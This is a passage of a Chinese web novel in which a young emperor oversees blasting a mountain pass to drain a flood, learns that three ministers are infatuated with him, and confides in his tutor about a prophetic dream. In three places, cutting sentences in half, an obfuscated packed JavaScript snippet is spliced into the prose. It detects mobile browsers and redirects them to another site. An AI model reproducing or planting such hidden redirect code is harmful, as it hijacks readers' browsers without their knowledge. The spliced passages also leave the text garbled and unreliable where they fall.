除了十几年前那段短暂的太学时光,之后的谢桐与简如是,根本也没有太多接触,不过是宫中偶尔相见,会停下来闲聊几句的情谊罢了。 就相熟程度而言,齐净远还更在简如是之上。 谢桐实在是不能理解,简如是究竟是从何得来的这种感情,又是究竟为何,会将此种感情投照在自己身上。 难不成是年纪大了,又没有家室,才导致简如是的认知逐渐扭曲,误以为自己更好男色? 谢桐又捏了捏眉心,暗道别瞎想太多。 他下了榻,将看过的信在烛上点了,很轻地叹了口气。 ……等回去,不如问一问简如是,属意哪类型的女子……或是男子,只要不是天子,就给他赐婚了吧,也好让简如是正常一些,不要再动不动寄这些怪东西了。 将最后一封信点着前,谢桐瞥见那上面写的“臣见了圣上的信才能入眠”,沉默了一瞬,召来关蒙。 “简相在宫中,是否常因朝政而忧思难眠?” 谢桐不紧不慢地将薄薄的信纸点了,看似寻常般问了关蒙一句。 暗卫一条线也有自己的消息渠道,谢桐想知道简如是话里的真假,索性直接问关蒙这个暗卫首领。 关蒙一板一眼地回答:“简相白日为圣上代朝,处理奏本,直至子时才歇息,寅时又起。” 谢桐算了一下,发现简如是真的每天只睡了一两个时辰。 “……罢了。” 谢桐让关蒙给自己取来纸笔,蹙眉心道:就回这一封吧。 简如是的龙阳之癖,着实罕见。 谢桐还是头一回在熟悉的人身上发现这种端倪,有些不知如何处理,只能先搁置一旁,等回京后再行解决。 总之……应该不是什么大问题。 19. 沐巾 傍晚,等精力稍微恢复些许,谢桐开始与闻端、齐净远二人谋划引水一事。 “自从圣上来了东泉县,雨停了已有几日。” 齐净远一边说着话,一边打开地图,用手指在几处区域指了指: “现在东泉的幸存百姓几乎全部在安庆县避难,安庆也同样数月降雨,粮食储备捉襟见肘,需要尽快将蓄积在周围的洪水引走,否则安庆县也撑不了几日。” 谢桐蹙眉,问:“你心中可有什么法子?” 齐净远说:“臣想过数种方法,但皆是弊端明显,且需要一段较长的时间。” 他紧接着把自己的办法说给谢桐听,谢桐听了之后,觉得齐净远确实不是在谦虚,这几个法子都不太可行,既耗人力物力,更耗时间,属于下策。 谢桐盯着地图看了半晌,忽然开口道:“东泉、安庆所处之地,其实离海岸并不远。” “对。”齐净远说:“但此处地市低洼,南下近海的方向,又有山阻挡,故而洪水蓄积,导致水患。” “那……”谢桐琢磨着道:“若是把南面的那几座山搬开……” 齐净远忍不住笑了:“圣上,古有愚公移山,今时今日,你也要效仿愚公,命百姓去搬山吗?” 谢桐摇了摇头,思索着说:“如果,朕是说如果,把阻拦洪水南下的山口炸开呢?” 齐净远先是皱了一下眉,但很快神情舒展,若有所思道:“若是能寻出一条最短的路径,又携带足量的火药,也不是不行。” “但圣上,炸药难得,今时再遣人去办这件事,怕是耗费时日更久。”齐净远又说。 谢桐原本也是随口一提,心知无法办到,正想点头另想他法,旁边的闻端忽然道: “圣上此法,焉知不可行?” 谢桐有几分意外地抬起眼,见闻端垂着眸,伸手取了桌案上的几粒黑白棋子,然后将棋子放在了地图的某处之上。 “圣上的想法,与臣不谋而合。” 闻端嗓音缓而温和:“圣驾离京的第一日,臣便私下命府中亲卫,携火药一并南下,至洪水阻滞的山上勘量地貌,寻出最合适的埋藏火药的地点。” “臣方才收到信件,火药已计算并埋藏好,山口崩塌后,外围洪水可能流经的沿海地段,也已让当地做好准备。” 闻端与谢桐对视,墨眸里神色深深:“若圣上也觉得可行,便可当即下令,命人炸开山口,引洪水入海,彻底解决此处的水患问题。” 谢桐怔了一下,有些惊异闻端竟然与自己的想法相同。 更惊讶的,还是闻端在半个多月前,就已经想到了这一层,并且提前部署,安排妥当。 其深谋远虑、应机立断,几乎到了常人所不能及的地步。 在谢桐还是太子时,就知道闻端的才智和手腕都十分高明。如今已经及冠,当了天子了,这个念头依旧时常徘徊在脑海里。 谢桐又想起南下之前,自己与简如是在宫中所做的布置。 如果没有闻端无声的默许,那简如是在宫中的所作所为,是否又能如现在一般顺利呢? 谢桐从不是轻易认输的人,他简单推断了一下,觉得以闻端的能力,如果想出手,必然会对自己清扫朝廷的路造成颇多阻碍,但…… 他也并不是全然无还手之力。 毕竟,他可是闻端教出来的最优秀的学生。又怎知青出于蓝,不会胜于蓝呢? * 炸山的命令已命人迅速传下去,最迟于明天日出之前,堵住洪水的山口就会被炸开。 趁今夜尚且还算平静,谢桐吩咐罗太监等人打了热水来,他想——洗个澡。 困在东泉县主城中的时候,洗浴是个过于奢侈的事情,即便贵为九五之尊,谢桐也没有多作要求。 而当抵达安庆县后,谢桐又因过于劳累昏睡过去,醒来时发现身上已经被简单擦过,但终究没有热水沐浴来得舒服。 罗太监命人将木桶搬进房中,再将热水倒满。 谢桐瞥见他还要叫人往水里头撒花瓣、放香精,忙出声阻止:“不必如此繁琐,都出去吧。” 罗太监不解:“圣上,乡野之地用度粗陋,不留下一些人服侍吗?” 谢桐漫不经心道:“服侍什么?朕有手有脚的。” 年纪还小时,谢桐曾碰见过洗澡时想把他的头摁进水里的太监,因此十分不喜洗浴时有旁人在边上待着。 想想也能明白,若是再遇上刺客,光着身子携鸟一并御敌,总归是不太方便和雅观。 将一众宫人赶出屋之前,谢桐突然想起一件事,开口问:“朕昨夜昏睡,是谁给朕换的衣袍?” 罗太监答:“是闻太傅。” 末了,他又补充一句:“圣上夜半发热,闻太傅并未歇息,与大夫在屋子里看顾圣上。” 谢桐眉心一跳:“太傅又没有休息?” 这段时间,闻端好似根本不会疲累似的,就算是铁打的人也禁不起这样消耗。 “传朕的口谕,”谢桐拧着眉道:“让闻太傅今夜必须上榻睡觉,若是敢抗谕旨,朕必会狠狠治他的罪。” 罗太监:“……奴才遵旨。” 等人都出去后,谢桐褪了衣袍,试了试水温,见温度正好,于是立即坐进桶里,微微发烫的热水泡得他忍不住眯起眼,很轻地舒出一口气。 简单清洁一遍后,谢桐紧绷多日的心神也逐渐放松下来,开始起了点闲心,慢悠悠地拿着几个澡豆抛来抛去地玩。 结果用力不当,一粒澡豆直直飞了出去,弹在不远处的窗棂上,发出一声轻响。 谢桐撩起长睫,听见窗户处还传来一点细微的动静。 “……关蒙?” 无关人员都被谢桐屏退了,不会围在这个屋子附近,还能站在窗外的,只有可能是暗卫。 果然,木窗子外响起一声低低的嗓音:“是,臣在。” 谢桐对着这位从小的玩伴没什么架子:“你站在窗外做什么?这些天你也没怎么休息吧,还是去寻个地方睡一觉好。” 关蒙闷闷的声音传进来:“臣需保证圣上的安全,圣上在哪里,臣就在哪里。” 谢桐“唔”了一声,想了想,道:“那你进来屋子里,在这桌案边的躺椅里休息,也未尝不可。” 关蒙固执道:“君臣有别,臣不能那样做。” 这牛脾气。 他不想进来,谢桐偏要让他进来。不然这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691086|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样一日日地煎熬,还没等回到京城,身体就该垮了。 不过相处了这么多年,谢桐也知道关蒙的脾性,轻眨了眨眼,忽然道:“进来,帮朕找一找沐巾。” “……” 外面沉默了片刻,木窗格几乎是悄无声息地一动,一个黑衣身影就灵活地从外翻入,站在了屋子里。 谢桐一看,果然见关蒙脸色苍白,眼下乌青深重,不知道多少天没有睡了。 尽管如此疲累,年轻的暗卫首领依旧站得笔直,从肩到腿都是紧紧绷着的,时刻处于高度警戒的状态,若有突发情况,才能毫不拖泥带水地迅速出手。 关蒙站在窗前,偏着脸,视线落在不远处的屏风上,平平道:“沐巾?” “嗯,对。”谢桐一手搭在浴桶里,心里还在寻思着如何劝服关蒙在这里休息,随口道:“或许是掉在了桶边吧。” 关蒙:“……” 暗卫首领低下头,缓慢沿着地板往前走了几步,要到木桶边上时,关蒙不自觉弓起了腰,视线一动不动地钉在地上。 谢桐见他的姿势僵硬怪异,不由得蹙眉:“你在做什么?” “……”关蒙干巴巴道:“臣在为圣上找沐巾。” “找东西就找东西,你为何不站直了身体找?” 谢桐语气随意地说了一句,没发现关蒙垂着的脸已经像是被热气熏着似的,呈现出明显的绯红色来。 关蒙在浴桶边上站了一会儿,僵着身体说:“臣没有在地上看见圣上的浴巾。” “……”谢桐好气又好笑,从右手旁扯了浴巾,一边擦拭发上的水珠,一边从桶里站起来道: “别找了,朕就是想和你说,既然进了屋,那就去桌边的躺椅上睡会儿,朕待会正好要——” 他的话才说了一半,就被关蒙的动作打断了。 谢桐乍一从浴桶里站起身,关蒙的身形先是一僵,而后猛地往后直起腰,目光在面前慌乱地晃过,最后慌不择路地匆匆后退,一个没留神,撞翻了地上放着的用来打水的小木桶。 哐当一阵乱七八糟的动静响起,罗太监赶忙到了屋外面,高声问:“圣上,发生什么事了?” 关蒙:“……” 谢桐:“……?” 罗太监更着急了:“圣上?圣上!能听见吗?” “无事。”谢桐终于出声,对罗太监等人淡淡道:“朕打翻了几个木桶,没受伤。” 等重新安静下来后,谢桐随手将里衣披上,眉心紧拧,目光一寸寸将窗边神色别扭拘谨,面容通红的暗卫首领打量了一会儿。 “朕与你同为男子,关首领,你为何视朕如洪水猛兽?”谢桐问。 关蒙用脊背牢牢靠着墙,一声不吭,过于剧烈的动作让他的衣襟微散,滚烫的绯红从耳根一直烧至领口下的蜜色肌肤。 谢桐久久等不到关蒙的回答,心里已经从感到奇怪,变成了感到不妙。 关蒙是个从来不会说谎的性子,如果他不说话,那只能说明,他无法将实话对着谢桐说出口。 “…………” 两厢僵持片刻,谢桐忽然福至心灵,颇有几分不敢置信道: “等等,你不会也是个断袖吧??” 20. 离奇 夜半风凉,谢桐独自站在院子里沉思。 思考关于为什么自己身边一次性出现了两个有龙阳之癖的臣子,还都是冲着自己来的。 关蒙最后还是什么都不肯说,但却也没否认谢桐的话。 谢桐即使并不愿意相信,但也不得不承认 ——关蒙,这个从小陪着自己长大的玩伴、暗卫、某种意义上的家人,也和简如是一般,染上了断袖的怪癖。 事情的发展过于离奇,换做是一天以前,刚刚从东泉县主城出来的时候,谢桐是绝对不会想到,自己还会因为这样莫名其妙的事烦心。 断袖,断袖……好端端的,怎么就成了个断袖呢! 都是男人,怎么还会喜欢上另一个男人?!谢桐越是深想,越是无法理解。 简直就和先前那荒唐的预示梦一样,个个都和被下了降头似的,前赴后继地要来喜欢谢桐这个男人…… 谢桐在院中踱步的动作一顿。 预示梦……? “圣上。”忽而有一声熟悉带笑的嗓音传来,打断了谢桐的思绪。 转过身一看,就见齐净远穿着月白色的长袍,从院外走进来,一边还道:“臣来给圣上送一份折子,是臣写的关于东泉县重新修缮的建议。” 谢桐现下哪有什么闲心看折子,于是说:“你放进屋里去吧,朕今夜睡前会看。” 齐净远却没动,视线扫了谢桐片刻,忽然问:“圣上是不是有什么烦心事?” 谢桐叹道:“这样明显么?” 齐净远把折子拿在手里,敲了敲掌心,说:“平日里圣上的喜怒哀乐倒也不算十分明显,但今天晚上,圣上似是格外忧愁,臣一眼便看出来了。” 谢桐蹙着眉,心中烦闷实在想要倾诉,于是含糊道: “朕……朕有两个看重的人,突然都沾染了断袖的习性……齐侍郎,你可知道什么叫断袖?” 齐净远:“自然知晓,断袖即为男人喜欢男人,磨镜则为女子中意女子。” 谢桐看他见多识广,于是虚心请教:“那依你之见,这男子与男子之间同为一类人,不符阴阳相和之理,又怎会被对方吸引呢?” 齐净远一笑,露出洁白的牙齿,桃花眸弯弯:“圣上,感情一事,从来是不讲究那么多的,钟情便是钟情了,哪有这样多的缘由。” 谢桐摇摇头,万分不解:“就算无法准确说出缘由,也总有个转变的起因吧?若是小时喜欢女子,长大后怎么会突然变成喜欢男子了呢?” 对简如是和关蒙,谢桐这么多年,从未发觉过他们有与其他人不同的……喜好。 关蒙就不提了,从小就是个榆木脑袋,别说女人,谢桐曾经甚至一度认为关蒙并不喜欢人,或许更愿意和刀剑结为夫妻什么的。 二十年没开过窍,这一开窍,怎么就剑走偏锋,直接喜欢男人了呢? 而简如是的表现就更令他迷惑了。 谢桐八岁入太学那一年,简如是正好十三岁,已经在梧桐书院学了两年有余,诗书礼仪、气度言行,无一不是谦谦君子如玉的标准模板,尤其招太学里的小郡主们喜欢。 谢桐仔细回忆了一下简如是对着小郡主们的态度,觉得完全看不出任何异样。 “圣上此言差矣。” 齐净远听了他的话,却举起手指摇了摇:“有没有一种可能,他们是先喜欢上了某个人,而后才发现这个人同为男子呢?” “……”谢桐认为他说的有道理,但若是按这样推测,导致简如是和关蒙成了断袖的罪魁祸首,岂不正是他自己吗? 谢桐感到很荒谬。 难道是自己平时言行举止过于轻浮……令周围的人产生了不该有的误会? 不对,谢桐心想。 如果是自己的表现才让简如是和关蒙心态突变,那闻端怎么没事? 论起相处的时日、相知的程度,闻端无非是谢桐最为熟悉的那个人。 闻端怎么就没变成断袖呢? 即使是在那荒唐的预示梦里,闻端也是自始至终正正经经的,从来没出现过任何僭越的感情。 谢桐由此确信,一定是简如是和关蒙自己心性不坚定,才会误入龙阳之道,产生一些非常人能有的念头。 像闻端这样秉节持重、不骄不躁的人,就不会轻易动摇心神。 嗯……齐净远也还行,虽然平日里为人不着调,瞧起来花花肠子许多,但至少没成了个断袖…… 谢桐正这样思索着,忽然听见齐净远问: “令圣上如此烦恼忧心的,可是简丞相与关首领?” 谢桐:!!! 齐净远见他脸色骤变,于是笑得更开心:“臣说对了吗?” “你……”谢桐不自觉睁大了眼,惊疑不定地问:“你是怎么猜出来的?” 齐净远:“臣还猜,简相、关首领所钟情的对象,正是圣上,对否?” 谢桐抿紧了唇,感觉脸上有几分尴尬。齐净远真是无所顾忌,什么“钟情”之类的话都说得出来。 齐净远看他不说话,于是继续道:“圣上肯定很奇怪,臣是为何能发觉这样隐秘的事情。” 谢桐掀起眼睫,就听见齐净远坦然自若地说: “那是因为,臣与他们也是同样的人,既然皆为断袖,又都喜欢圣上,当然能互相感知。” “况且,”齐净远眸子弯弯,还道:“按民间话本里的说法,臣与简相、关首领,可是所谓的‘情敌’呢。对待敌人,当然要知己知彼,方能百战不殆。” 谢桐:“…………” 一阵微凉的夜风刮过,谢桐恍惚觉得自己的魂灵也随着这阵风,已然被吹着飘远了。 或许是谢桐的神色太过麻木不仁,齐净远打量了一番,认为他似乎并不抵触,于是又道:“臣虽然一贯爱说玩笑话,但刚才所言,句句属实。” “臣之前对圣上说的,望圣上赐臣一个闲职,能让臣日日跟在圣上身边,也不是假话。” 齐净远摸了摸下巴,琢磨了一下,又说: “要么……圣上后宫选秀时,也把臣秘密选入宫中如何?臣也不是那种顽固不化之人,只是想能有更多接近圣上的机会罢了。” 谢桐的大脑已经丧失了思考的能力,只是凭着本能麻木开口道:“你是男子,待在后宫会暴露身份。” “那当然不是时时以嫔妃的身份待在宫里。” 齐净远笑眯眯地说:“臣白日上朝,晚上便等着上榻服侍圣上,只要封好近身宫人的口,未免不是一计良策。” “圣上,你意下如何呢?” 谢桐:“……” * 巳时末,罗太监很轻地敲了敲厢房的门,听得里边传来一句:“进来,何事?” 罗太监小心推开门,侧身进入,对着案边垂眸看信的男人行了一礼,低声说:“太傅,接到消息,已小范围引爆火药,山口坍塌处与推测的一致,可以继续了。” 闻端嗯了一声,淡淡道:“让他们自行处理便是。” 罗太监应了,又在原地犹豫了一下,没立即退出去。 闻端察觉到他的迟疑,抬起眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703545|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“还有何事?” 罗太监陪着笑说:“就是……约莫一个时辰前,圣上吩咐奴才,让奴才提醒太傅您早些歇息。” 闻端翻阅信件的动作一顿:“圣上亲口吩咐的?” “是,圣上还对奴才说,您舟车劳顿多日,昨夜又在榻前看顾圣上,必是身心劳累,要早些休息,才不致使圣上担心。” 闻端合上手里的信,语气寻常道:“你这传话的技巧倒是修炼得一日比一日厉害了。” 罗太监躬着身,有些不明白闻端这话是夸还是责备,但悄悄抬眼一瞧,又见闻端脸上并无不快的神色,反而还有几分舒展。 罗太监松了口气,看来这番话,是传对了。 闻端随手将看完的信件置于一旁,起身道:“退下吧。” 罗太监见他真的一副准备就寝的模样,心道圣上说的话还真管用,一边行了礼悄然出了门。 一出门,就被吓了一跳。 “哎哟,圣上!”罗太监睁大眼:“这夜深露重的,您怎么过来这边了?” 谢桐站在不远处,目光幽幽,神情间隐约有种超脱凡尘之感,看上去马上就要魂飞九天,舍弃肉体凡胎了一般。 “朕来找闻太傅。”谢桐轻飘飘道。 罗太监不明何意,下意识将门推开,看着谢桐一阵轻风似的入了屋内。 “圣上怎么来了?” 谢桐刚进到屋里,就听见熟悉的嗓音。 闻端身着一件雪白的里衣,肩上披着黑色绣金的外袍,似也已经沐浴过,墨黑的长发披散在身后,只用一根绸带松松系了起来。 见谢桐突然过来,闻端放下手里的信,往前迎了两步,细细看了一眼,语气温和:“圣上似乎……心情不佳?” 岂止是心情不佳。 谢桐今夜的三观几遭摧毁,心中凌乱难言,甚至不敢再留在给他安排好的厢房里——齐净远对他说,若是长夜寂寥,他可在此地献身于谢桐,来博得更多的好感。 谢桐哪里还敢留在自己的院子里,只怕夜半梦醒,忽然发现屋子里多了个人,还是个铁板钉钉的断袖,要来非礼他。 情急之下,谢桐只能来寻闻端。 毕竟闻端是谢桐所熟悉的,唯一一个没有龙阳之癖的臣子了。 见到闻端的面容,谢桐茫茫然的心神才稍微定下了些许,忍不住倾诉:“老师,朕碰见了怪事。” 闻端将案边的圈椅让给了他,谢桐堪堪坐下后,感到肩上微一沉——是闻端把自己的长袍给他披上了。 “什么怪事?”闻端走到榻边站定,道:“令得圣上如此行色匆匆,连件外袍都没套就过来了。” 谢桐闻言,低头看了看,发现自己还穿着沐浴后随意裹上的一件寝衣,着实是有点过于狼狈了,连被夜风吹得肌肤生寒也没有察觉。 “圣上,”看他不说话,闻端又追问一句,语气沉了几分:“究竟是出了何事?” 谢桐沉默许久,终于低声开口:“老师,朕登基那晚,曾有一个预示梦。” 闻端:“臣知晓。” “梦中内容庞杂,其中有许多朕觉得从无可能会碰见的怪事……也似乎,渐渐有了显露的端倪。” 闻端的眉心很轻地皱起,墨眸中神色深深:“比如呢?” 谢桐望着他在烛火下俊美专注的面容,心里终于做了某种决定,轻吸了一口气,尽量冷静地道: “预示梦中曾言,除了太傅你,朕周围亲近之人皆会变成……断袖。而朕发现,似乎确实如此。” 闻端:“……?” 21. 求助 断袖一词,来自曾经某朝的皇帝与其男宠的故事。 当然,谢桐在预示梦里看的文字写得更加直白,直呼此类人为男同。 男同男同,同好男人嘛!谢桐琢磨一下也能理解,就是觉得说出来有些许粗俗。 在梦里各种不同类型的“同人文”中,不仅是谢桐熟知的诸如简如是、齐净远、关蒙等等臣子突变成了男同,就连谢桐自己,也成为了男同中的男同,体质特殊,尤其易招男子喜爱。 在以简如是为另一方主角的文里,通常是这样写的: “他天生温柔端方,聪颖过人,礼节从不出错,是世家精心教导出来的最合适的继承人。” “这一生本该如此一步一步沿着既定的仕途之路走下去,直到十三岁那年,一个从未见过的小皇子一把火将他太学的被褥给烧光了,从来如死水般波澜不惊的内心,才有了剧烈的跳动。” 谢桐即使是在梦中,也对这番言论嗤之以鼻。 他是不小心烧了简如是的床榻,但难道简如是的脑子也在火里被烧了么?竟然会因为这样一桩祸事而开始注意上一个人。 再说关于齐净远的文,大致是这样写的: “他出身低微,却野心勃勃,只要能爬上高位,就算不择手段也要达成。初识三皇子时,他笑意盈盈,实则心里流着灼烫的嫉妒,嫉妒这样一个空有美貌的小孩,也能生来便有泼天的富贵和权势。” “但随着时间的推移,这毒蛇般的嫉妒逐渐变质,成了他自己也说不清道不明的感情。他习惯于在那个人面前戴上好相处的面具,稍微用些小手段,就能诱使对方信任自己,甚至成为朋友。” “齐净远如今才发现,比起夺得更高的位置、更大的权势,他更想要……夺得那个永远高高在上的人。他这一生狼子野心,欲将九天明月揽入怀。” 对于此种描述,谢桐颇感无语。 齐净远确是野心勃勃不假,但这嫉妒又是从何而来? 谢桐认识齐净远时,还是个没人疼没人爱的透明般的存在,即使是皇子,生活也并没有好到哪里去,更妄论什么泼天的权势富贵。 还有——谢桐蹙眉,实在是无法理解,为什么要形容他自己“空有美貌”? 空有一词暂且不提,美貌又是何意? 谢桐从不觉得自己相貌有何不寻常的地方,与所有人一样,他又没有多长两只眼睛,何必要不停强调相貌? 而与关蒙有关的同人文,则道: “他无父无母,沉默如影子,是永远藏匿于黑暗的利刃,是当权者训练的最忠实的守卫者。是那个人生生拽他出了只有黑白二色的天地,他从此有了最亲密的朋友,最愿为其付诸真心的主上。” “水滴石穿,灰黑色的熔岩表象下,是一颗明亮火热的心。为了效忠的那个至高无上的存在,他愿意奉献出自己的全部,不管是身体,还是充斥着浓厚爱意的心。” 谢桐:“……” 无法点评,无力吐槽。 谢桐甚至觉得,那些乱七八糟的同人文这样描绘一个忠心耿耿的暗卫首领,简直就是有几分歹毒了。 以及谢桐能回忆起的,还有“多年守身如玉只为一人”的镇边将军林戎,什么“阅尽千帆为他敛尽所有温柔”的小倌馆馆主,更过分的还有“质朴纯真一眼沦陷”的乡间莽夫、“粗野彪悍横刀夺爱”的林中土匪等等…… 总而言之,预示梦里这些过于荒唐和出格的描写,曾让谢桐笃定,现实中是不会发生这样的事情的。 尽管这二十年并非一帆风顺,但谢桐从小到大,还从没碰见过任何一个这样离奇的事件。 ……他本来十分确信。 直到这一天,谢桐接连遭受了来自简如是、关蒙、齐净远三人的“龙阳之好”打击。 坚定不移的念头逐渐动摇,得出一个令谢桐十分害怕的结论。 ——预示梦里的一切,不管是有迹可循还是莫名其妙的,通通都是对未来的预示。 这让谢桐心底里最隐秘的恐惧浮出水面,几乎要让他心神俱颤。 ……他不仅可能会沦为大殷朝第一个人人可压的皇帝,还可能在九年后,与闻端决裂,最后自己会亲自动手……杀了闻端。 无论是哪种可能,都让谢桐无法接受。 “圣上说的……”闻端开了口,斟酌着问道:“亲近之人会变成断袖,是何意?” 谢桐不假思索地回答:“意思就是朕认识的熟人,都会喜欢上男子,染上龙阳之癖。” 闻端:“……” 谢桐话说得太快,停下来时,才发现闻端的脸色似乎很有几分微妙。 那点微妙的神色也是淡淡的,若非谢桐十分熟悉他,寻常人是很难在闻端看似平静的面容下,察觉到一丁半点的情绪变化。 怎么了? 谢桐心道,难道是自己的话太过直白露骨,竟将一向从容冷静的闻端都吓到了吗? 看来闻端和自己一样,都是对断袖之风唯恐避之不及的人。 “认识的亲近之人都会变得喜爱男子……” 过了好一会儿,闻端才慢慢出声:“预示梦的内容虽然奇特,但也已是定数。不过臣想知晓,圣上又是如何认为,这件怪事,已经有了显露的迹象呢?” 谢桐犹豫了一刹那。 其实说实话,这件事不过是自己的私事。 就如曾经他对闻端说过的,他是天子,天子坐拥四海,万民皆对他俯首称臣,区区几个人的心意表白,于他而言,并算不得什么大事。 但…… 但他不想让这个预示梦成真。 不管是荒唐的内容,还是《万古帝尊》中主角“谢桐”手刃亲师,成就无情无义的万古明君,登上那把染血的鎏金龙椅的剧情,谢桐都不想要。 即使被告知,自己或许是一本书中的人物,所有人生轨迹,都是沿着已经写好的路线一步一步走下去,是一个有着喜怒哀乐表情的提线木偶、一个精心雕琢华美无比的棋子。 谢桐也不愿意就此认命。 他要尝试去打破预言,无论是哪种可能,既然他不喜欢,那便不允许成真。 “老师,”谢桐垂着睫,很轻地吸了一口气,“朕在简丞相送过来的信里,收到了他随信夹带的一颗红豆。” 红豆寄相思,其中的含义不言自明。 简如是做事一向仔细认真,不可能疏忽间把这样小的东西给夹入了信中。 听了谢桐的话,闻端略一颔首,语气里无波无澜:“简相对圣上用情颇深,臣早已在拾得那枚同心玉时便得知。” 谢桐想了想,又说:“齐侍郎今夜来寻朕,言明他也是个断袖,对朕……咳,也有不寻常之情,还要朕将他收入后宫。” 闻端淡淡道:“齐侍郎为人肆意妄为,常有惊世骇俗之言。但入后宫此法太过荒谬,望圣上不要受其所惑,做下离经叛道的不妥之事。” “……朕当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716032|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不可能同意。”谢桐下意识回了一句,蹙起眉。 ——为什么闻端看起来一副云淡风轻的模样? 他难道不觉得这两件事、这两个突变成了断袖的人都非常奇怪吗? “还有关蒙……” 谢桐迟疑了一瞬,才接着道:“朕不知他是何时有了不该有的心思,或许是成日里接触的人和事太少了,导致内心较为封闭,将朕当成了唯一的亲近之人……” 闻端这会儿倒是显现出了几分兴趣,但也仅限于轻挑了下眉,问:“关首领也——” “他没有明说,”谢桐摇摇头,道:“不过朕见他,在朕面前总是不太自在的模样,也是稀奇。” 闻端赞同般点了点头,说:“圣上金尊玉贵,旁人自然容易被吸引。” 谢桐:“……” 到底是为什么闻端一点都不感到惊讶啊! 令谢桐三观尽碎,只觉日月无光的问题,在闻端的神情上,甚至瞧不出半点愕然来,最多有的,不过是几分饶有兴致般的好奇。 不过也得益于闻端的淡定,谢桐也渐渐冷静了下来,开始觉得,或许这也不是什么大事…… 不是个屁! 谢桐在内心暗骂了一声,十分粗俗没有风度。 闻端绝对想不到,这几个人突然对谢桐表白心意不过是开始。 按着预示梦里的发展,很快谢桐也会在断袖们的包围下,屈服于龙阳之好的威力,成为一个名副其实的断袖,开启一路被压的历程。 换句话来说,闻端自己又不是个断袖,当然不能理解谢桐对断袖和成为断袖的恐惧! “还有吗?” 闻端这时忽然又出声,缓缓问道:“圣上说周围的亲近之人都成了龙阳君,那除了简相、齐侍郎、关首领以外,圣上还发现了谁,有着这种癖好?” 谢桐觉得他这话问得奇怪。 难道三个还不够,还要再来多几个,才能显现出事情的严重性吗? “……没有。”谢桐仔细想了想,拧着眉心说:“朕十分熟悉的人,除了宫女太监,也没有多少了。” 撩起长睫,谢桐发现闻端正站在榻边看着自己,黑眸深深,瞳中墨色暗沉至极,似连烛光也能湮灭在其中,更难瞧出半分藏匿的情绪。 谢桐不明白为何闻端要这样盯着自己,不过他现在有更重要的话要说。 谢桐琢磨了一下用词,道:“朕不想这个荒唐的预示梦成真,自然也无法接受朕的臣子对朕有着不恰当的情感。” “因此,朕想寻个人,帮助朕解决这个问题,摆脱预示梦的困扰。” “老师,” 谢桐坐在书案前的圈椅里,披着闻端的黑色外袍,微仰起脸,认真道: “不管在预示梦,还是如今的现世中,你是朕最为熟知,也最为信任的臣子,且不受那荒唐梦影响,没有……变成断袖。” 说到最后几个字,谢桐的声音渐渐低下去,纯粹是因为尴尬。 闻端却看起来没什么反应,依旧站在原地,闻言嗯了一声,嗓音平静。 “所以朕想与老师细细商讨一番,如何避开预示梦中负面的内容,让朕的生活回到正轨上来。” 谢桐一口气说完,觉得嗓子发干,于是伸手摸了桌上的冷茶,掀开盖饮了一口。 闻端沉默地看着谢桐将他的茶喝了,终于出声。 “圣上此言,可是当真?” 他不紧不慢问道。 22. 高招 翌日,堵塞洪水的山口终于被彻底炸开。 积攒数月的雨水冲破阻拦,以怒龙咆哮之势,沿着山外已经挖好的引水渠道奔涌,一路掠过几十里远,最后与海水交汇,融于广阔无垠的南海里。 洪水消退的这日,天空中堆积许久的云层也散开,在猛烈的阳光照耀下,连最后一丝阴霾也消逝殆尽。 举目远眺,千里无云。 谢桐在安庆县进行了祭天的祈福仪式,又一道谕旨任命了东泉县新的县丞,由官府带领东泉县的百姓返回主城,在被洪水摧毁的土地上重新修建住宅与田地。 而与东泉县有关的决策权,则直接交给了齐净远。 明眼人都能看明白,齐净远此行回到京城,必会升官加爵——正巧刘黔自尽,工部尚书的位置空悬,这人选几乎是不言自喻了。 三日后,御驾启程回京。 回程当日,谢桐坐在马车上,一手掀开帘子,就能瞧见外面挤挤攘攘的人群。 那些都是东泉县和安庆县的百姓,圣驾当前,这些平民不敢大声喧哗,皆是安静地站在不远处,一双双乌黑的眼眸望着轿辇,看见谢桐撩起帘子时,人群中出现不小的骚动。 隔得有段距离,谢桐听不清他们的话,索性问轿边的关蒙:“他们在说什么?” 自从那晚被谢桐逼问后,关蒙就鲜少出现在谢桐面前。 但今日是圣驾回京之日,围观的人甚众,平时藏身在暗处的数个暗卫都只能现身,在轿辇周边保护天子的安全。 “回圣上的话,”关蒙生硬地别着脸,视线直直看向前方:“他们在说,圣上万岁。” 谢桐点点头,没有再问,放下帘子,对马车里的闻端道:“今日来的人倒是挺多。” 